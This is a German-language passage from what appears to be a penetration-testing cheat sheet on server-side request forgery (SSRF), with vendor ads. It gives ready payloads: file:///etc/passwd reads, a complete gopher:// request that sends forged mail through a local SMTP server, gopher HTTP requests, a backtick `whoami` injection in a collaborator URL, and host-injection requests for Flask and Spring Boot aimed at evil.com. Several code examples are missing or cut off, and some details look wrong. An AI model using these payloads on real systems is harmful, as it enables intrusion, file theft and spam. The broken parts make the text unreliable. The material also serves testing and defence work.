Verwenden Sie Trickest, um einfach Workflows zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.
Zugang heute erhalten:
Eine Server-seitige Request Forgery (SSRF)-Schwachstelle tritt auf, wenn ein Angreifer eine serverseitige Anwendung manipuliert, um HTTP-Anfragen an eine von ihm gewählte Domain zu senden. Diese Schwachstelle setzt den Server willkürlichen externen Anfragen aus, die vom Angreifer geleitet werden.
SSRF erfassen
Das erste, was Sie tun müssen, ist, eine von Ihnen generierte SSRF-Interaktion zu erfassen. Um eine HTTP- oder DNS-Interaktion zu erfassen, können Sie Tools wie die folgenden verwenden:
Normalerweise werden Sie feststellen, dass die SSRF nur in bestimmten, auf die Whitelist gesetzten Domains oder URLs funktioniert. Auf der folgenden Seite finden Sie eine Zusammenstellung von Techniken, um zu versuchen, diese Whitelist zu umgehen:
Umgehung über offenen Redirect
Wenn der Server korrekt geschützt ist, könnten Sie alle Einschränkungen umgehen, indem Sie einen offenen Redirect innerhalb der Webseite ausnutzen. Da die Webseite SSRF zur gleichen Domain zulässt und wahrscheinlich Redirects folgt, können Sie den offenen Redirect ausnutzen, um den Server dazu zu bringen, auf interne Ressourcen zuzugreifen.
Lesen Sie hier mehr: https://portswigger.net/web-security/ssrf
Protokolle
file://
Das URL-Schema file:// wird referenziert und zeigt direkt auf /etc/passwd: file:///etc/passwd
dict://
Das DICT-URL-Schema wird beschrieben, um Definitionen oder Wortlisten über das DICT-Protokoll abzurufen. Ein gegebenes Beispiel veranschaulicht eine konstruierte URL, die auf ein bestimmtes Wort, eine Datenbank und eine Eintragsnummer abzielt, sowie einen Fall, in dem ein PHP-Skript möglicherweise missbraucht wird, um sich mit einem DICT-Server unter Verwendung von Angreifer bereitgestellten Anmeldeinformationen zu verbinden: dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>
SFTP://
Identifiziert als Protokoll für den sicheren Dateitransfer über eine sichere Shell, wird ein Beispiel bereitgestellt, das zeigt, wie ein PHP-Skript ausgenutzt werden könnte, um sich mit einem bösartigen SFTP-Server zu verbinden: url=sftp://generic.com:11111/
TFTP://
Das Trivial File Transfer Protocol, das über UDP arbeitet, wird mit einem Beispiel eines PHP-Skripts erwähnt, das dazu entworfen ist, eine Anfrage an einen TFTP-Server zu senden. Eine TFTP-Anfrage wird an 'generic.com' auf Port '12346' für die Datei 'TESTUDPPACKET' gesendet: ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET
LDAP://
Dieses Segment behandelt das Lightweight Directory Access Protocol und betont seine Verwendung zur Verwaltung und zum Zugriff auf verteilte Verzeichnisinformationsdienste über IP-Netzwerke. Interagieren Sie mit einem LDAP-Server auf localhost: '%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.
SMTP
Eine Methode wird beschrieben, um SSRF-Schwachstellen auszunutzen, um mit SMTP-Diensten auf localhost zu interagieren, einschließlich Schritte zur Offenlegung interner Domainnamen und weiterer Ermittlungsaktionen basierend auf diesen Informationen.
From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
Curl URL globbing - WAF umgehen
Wenn die SSRF mit curl ausgeführt wird, hat curl eine Funktion namens URL globbing, die nützlich sein könnte, um WAFs zu umgehen. Zum Beispiel finden Sie in diesem writeup dieses Beispiel für eine Pfad Traversierung über das file Protokoll:
Die Fähigkeit des Gopher-Protokolls, IP, Port und Bytes für die Serverkommunikation anzugeben, wird erörtert, zusammen mit Tools wie Gopherus und remote-method-guesser zur Erstellung von Payloads. Zwei verschiedene Anwendungen werden veranschaulicht:
Gopher://
Mit diesem Protokoll können Sie die IP, den Port und die Bytes angeben, die der Server senden soll. Dann können Sie im Grunde eine SSRF ausnutzen, um mit jedem TCP-Server zu kommunizieren (aber Sie müssen zuerst wissen, wie man mit dem Dienst spricht).
Glücklicherweise können Sie Gopherus verwenden, um Payloads für mehrere Dienste zu erstellen. Darüber hinaus kann remote-method-guesser verwendet werden, um gopher Payloads für Java RMI Dienste zu erstellen.
Gopher smtp
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT
Gopher HTTP
#For new lines you can use %0A, %0D%0Agopher://<server>:8080/_GET /HTTP/1.0%0A%0Agopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body
Analyse-Software auf Servern protokolliert oft den Referrer-Header, um eingehende Links zu verfolgen, eine Praxis, die Anwendungen unbeabsichtigt Server-Side Request Forgery (SSRF) -Schwachstellen aussetzt. Dies liegt daran, dass solche Software externe URLs, die im Referrer-Header erwähnt werden, besuchen kann, um den Inhalt der verweisenden Seite zu analysieren. Um diese Schwachstellen aufzudecken, wird das Burp Suite-Plugin "Collaborator Everywhere" empfohlen, das die Art und Weise nutzt, wie Analysetools den Referer-Header verarbeiten, um potenzielle SSRF-Angriffsflächen zu identifizieren.
SSRF über SNI-Daten aus dem Zertifikat
Eine Fehlkonfiguration, die die Verbindung zu jedem Backend über eine einfache Einrichtung ermöglichen könnte, wird mit einem Beispiel für eine Nginx-Konfiguration veranschaulicht:
In dieser Konfiguration wird der Wert aus dem Server Name Indication (SNI) Feld direkt als Adresse des Backends verwendet. Dieses Setup weist eine Schwachstelle für Server-Side Request Forgery (SSRF) auf, die ausgenutzt werden kann, indem einfach die gewünschte IP-Adresse oder der Domainname im SNI-Feld angegeben wird. Ein Beispiel für eine Ausnutzung, um eine Verbindung zu einem beliebigen Backend, wie internal.host.com, mit dem openssl Befehl herzustellen, ist unten angegeben:
Es könnte sich lohnen, eine Payload wie: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami` auszuprobieren.
PDF-Darstellung
Wenn die Webseite automatisch ein PDF mit einigen Informationen erstellt, die Sie bereitgestellt haben, können Sie einige JS einfügen, die vom PDF-Ersteller selbst (dem Server) während der Erstellung des PDFs ausgeführt werden, und Sie werden in der Lage sein, eine SSRF auszunutzen. Hier finden Sie weitere Informationen.
Von SSRF zu DoS
Erstellen Sie mehrere Sitzungen und versuchen Sie, große Dateien herunterzuladen, indem Sie die SSRF aus den Sitzungen ausnutzen.
SSRF PHP-Funktionen
Überprüfen Sie die folgende Seite auf anfällige PHP- und sogar Wordpress-Funktionen:
SSRF-Weiterleitung zu Gopher
Für einige Exploits müssen Sie möglicherweise eine Weiterleitungsantwort senden (möglicherweise um ein anderes Protokoll wie gopher zu verwenden). Hier haben Sie verschiedene Python-Codes, um mit einer Weiterleitung zu antworten:
Verwenden Sie Trickest, um einfach Workflows zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.
Zugang heute erhalten:
</details>
Flask erlaubt die Verwendung von **`@`** als Anfangszeichen, was es ermöglicht, **den ursprünglichen Hostnamen als Benutzernamen zu verwenden** und einen neuen einzufügen. Angriffsanfrage:
```http
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close
Spring Boot
Anfälliger Code:
Es wurde entdeckt, dass es möglich ist, den Pfad einer Anfrage mit dem Zeichen ; zu beginnen, was es ermöglicht, dann @ zu verwenden und einen neuen Host zur Zugriff zu injizieren. Angriffsanfrage:
GET ;@evil.com/url HTTP/1.1Host:target.comConnection:close